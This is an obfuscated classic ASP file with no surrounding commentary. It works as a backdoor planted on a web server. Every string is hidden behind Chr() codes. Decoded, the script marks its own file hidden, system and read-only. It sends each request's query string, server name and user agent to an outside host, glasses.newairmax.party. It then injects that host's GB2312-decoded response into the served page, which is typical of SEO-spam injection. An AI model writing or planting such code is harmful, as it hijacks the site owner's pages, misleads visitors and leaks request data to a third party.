<% Public OOOOOOOOOO0O0 Public OO0O0OO0O0O00 Public O0O00OOOO00 Public O000O0000O00OO Public O000O00OO00 Public O0O0000O00O0O Public O000OOO0OO0 Public O00OOO00OO Set OOOOOOOOOO0O0 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set OO0O0OO0O0O00 = OOOOOOOOOO0O0.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If OO0O0OO0O0O00.attributes <> ( 43 * 83 - 3530 ) Then OO0O0OO0O0O00.attributes = ( 19 * 1 - - 20 ) End If Response.Write vbCrLf O0O00OOOO00 = Server.MapPath ( Chr ( 46 ) ) O000O0000O00OO = Split ( O0O00OOOO00 , Chr ( 92 ) ) O000O00OO00 = UBound ( O000O0000O00OO ) O0O0000O00O0O = O000O0000O00OO ( O000O00OO00 ) O000OOO0OO0 = O0OO0O0O00O0 ( Chr ( 49 ) & Chr ( 48 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 53 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 51 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 56 ) & Chr ( 97 ) & Chr ( 57 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 57 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 53 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 48 ) & Chr ( 57 ) & Chr ( 97 ) & Chr ( 57 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 48 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 97 ) & Chr ( 57 ) & Chr ( 55 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 52 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 49 ) & Chr ( 54 ) & Chr ( 97 ) & Chr ( 49 ) & Chr ( 50 ) & Chr ( 49 ) & Chr ( 97 ) & Chr ( 52 ) & Chr ( 55 ) ) & Chr ( 63 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.QueryString & Chr ( 38 ) & Chr ( 119 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 86 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 65 ) & Chr ( 77 ) & Chr ( 69 ) ) & Chr ( 38 ) & Chr ( 97 ) & Chr ( 122 ) & Chr ( 61 ) & Chr ( 106 ) & Chr ( 102 ) & Chr ( 38 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 61 ) & Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) ) O00OOO00OO = O000OOOO00000O ( O000OOO0OO0 ) If O00OOO00OO = "" Then Else Response.Write O00OOO00OO Response.End End If Set OOOOOOOOOO0O0 = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set OO0O0OO0O0O00 = OOOOOOOOOO0O0.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If OO0O0OO0O0O00.attributes <> ( 12 * 15 - 141 ) Then OO0O0OO0O0O00.attributes = ( 68 * 87 - 5877 ) End If Response.Write vbCrLf Function O000OOOO00000O(O000OOO0OO0 ) Dim OO00OOO0O0O0 Set OO00OOO0O0O0 = Server.CreateObject ( Chr ( 109 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 102 ) & Chr ( 116 ) & Chr ( 46 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) ) OO00OOO0O0O0.Open Chr ( 103 ) & Chr ( 101 ) & Chr ( 116 ) , O000OOO0OO0 , false OO00OOO0O0O0.send If OO00OOO0O0O0.readystate <> ( 71 * 47 - 3333 ) Then Exit Function O000OOOO00000O = O00O0OOO0OO0O ( OO00OOO0O0O0.responsebody ) Set OO00OOO0O0O0 = Nothing End Function Function O00O0OOO0OO0O(O00OOOO0 ) Dim OOOO0OO0OO0O0 Dim O00OOO0O0 Set OOOO0OO0OO0O0 = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) OOOO0OO0OO0O0.Type = ( 66 * 31 - 2044 ) OOOO0OO0OO0O0.Open OOOO0OO0OO0O0.WriteText O00OOOO0 OOOO0OO0OO0O0.Position = ( 0 * 73 - 0 ) OOOO0OO0OO0O0.Charset = Chr ( 71 ) & Chr ( 66 ) & Chr ( 50 ) & Chr ( 51 ) & Chr ( 49 ) & Chr ( 50 ) OOOO0OO0OO0O0.Position = ( 3 * 53 - 157 ) O00OOO0O0 = OOOO0OO0OO0O0.ReadText OOOO0OO0OO0O0.Close Set OOOO0OO0OO0O0 = Nothing O00O0OOO0OO0O = O00OOO0O0 End Function Function O0OO0O0O00O0(O00O0OO00O00 ) Dim O00O0O000O0OO0 Dim O0OO0OO00OOO0 Dim O0000OOO0OOOOO Dim O00O0OO0OOO00O O00O0OO00O00 = Replace ( O00O0OO00O00 , Chr ( 117 ) , Chr ( 45 ) ) O00O0O000O0OO0 = Split ( O00O0OO00O00 , Chr ( 97 ) ) For O0OO0OO00OOO0 = ( 46 * 90 - 4140 ) To UBound ( O00O0O000O0OO0 ) O0000OOO0OOOOO = O00O0O000O0OO0 ( O0OO0OO00OOO0 ) If IsNumeric ( O0000OOO0OOOOO ) Then O00O0OO0OOO00O = O00O0OO0OOO00O & Chr ( O0000OOO0OOOOO ) End If Next O0OO0O0O00O0 = O00O0OO0OOO00O End Function %>